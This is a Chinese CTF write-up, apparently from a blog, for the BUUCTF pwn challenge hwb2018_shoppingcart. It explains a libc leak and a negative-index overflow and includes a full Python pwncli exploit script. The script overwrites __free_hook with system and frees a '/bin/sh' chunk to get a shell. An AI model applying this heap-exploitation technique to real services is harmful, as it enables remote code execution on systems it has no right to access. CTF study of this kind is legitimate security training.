[BUUCTF] hwb2018_shoppingcart

hwb2018_shoppingcart

总结

根据本题，学习与收获有：

• read当长度为0的时候，会返回0
• %s遇到\0才会结束输出，遇到\n并不会结束输出
• 某个地址存储了__free_hook的地址，搜一把就得到了

题目分析

checksec

远程环境为libc-2.27.so

漏洞点

主要在modify中，有一个打印地址和索引溢出

利用思路

在buy函数中，会有一个置0的操作：

当时在这里卡了一段时间，后来发现，如果输入长度为0，就不会将chunk的fd某个字节置为0了，那么结合modify函数中的%s即可泄露出地址。

最后利用过程即为：

• 利用%s和read为0的第三个参数，泄露出libc的地址
• 修改索引为-2处的拿个地址为存储着__free_hook的地址
• 修改索引为-22的内容，就是修改__free_hook，修改为system
• 释放带有/bin/sh的块即可获取shell

Exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def add(data="a\n"):
    p.sendlineafter("EMMmmm, you will be a rich man!\n", "1")
    p.sendafter("I will give you $9999, but what's the  currency type you want, RMB or Dollar?\n", data)

def over():
    p.sendlineafter("EMMmmm, you will be a rich man!\n", "3")

def buy(length:int, data="a\n"):
    p.sendlineafter("Now, buy buy buy!\n", "1")
    p.sendlineafter("How long is your goods name?\n", str(length))
    if length != 0:
        p.sendafter("What is your goods name?\n", data)

def delete(idx:int):
    p.sendlineafter("Now, buy buy buy!\n", "2")
    p.sendlineafter("Which goods that you don't need?\n", str(idx))

def modify(idx:int, data="a\n"):
    p.sendlineafter("Now, buy buy buy!\n", "3")
    p.sendlineafter("Which goods you need to modify?\n", str(idx))
    p.recvuntil("OK, what would you like to modify ")
    msg = p.recvline()
    p.send(data)
    info("msg recv: {}".format(msg))
    return msg

def exp():
    for i in range(20):
        add("a" * 7)
    
    over()

    buy(0x500) # 0
    buy(0x10, "/bin/sh\x00\n") # 1

    # get unsorted bin
    delete(0)
    buy(0) # 2
    
    # leak libc addr
    msg = modify(2)
    libc_base_addr = u64(msg[:6].ljust(8, b"\x00")) - 0x3ec0d0
    log_address("libc_base_addr", libc_base_addr)

    # find the memory stores __free_hook address
    # use overflow index to change __free_hook's content to system
    modify(-2, p64(libc_base_addr + 0x3eaee8)[:7])
    modify(-22, p64(libc_base_addr + libc.sym['system'])[:7])

    # get shell
    delete(1)

    p.sendline("cat /flag")
    p.interactive()

exp()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

标签：BUUCTF,addr,libc,modify,shoppingcart,buy,sendlineafter,msg,hwb2018
来源： https://www.cnblogs.com/LynneHuan/p/15413898.html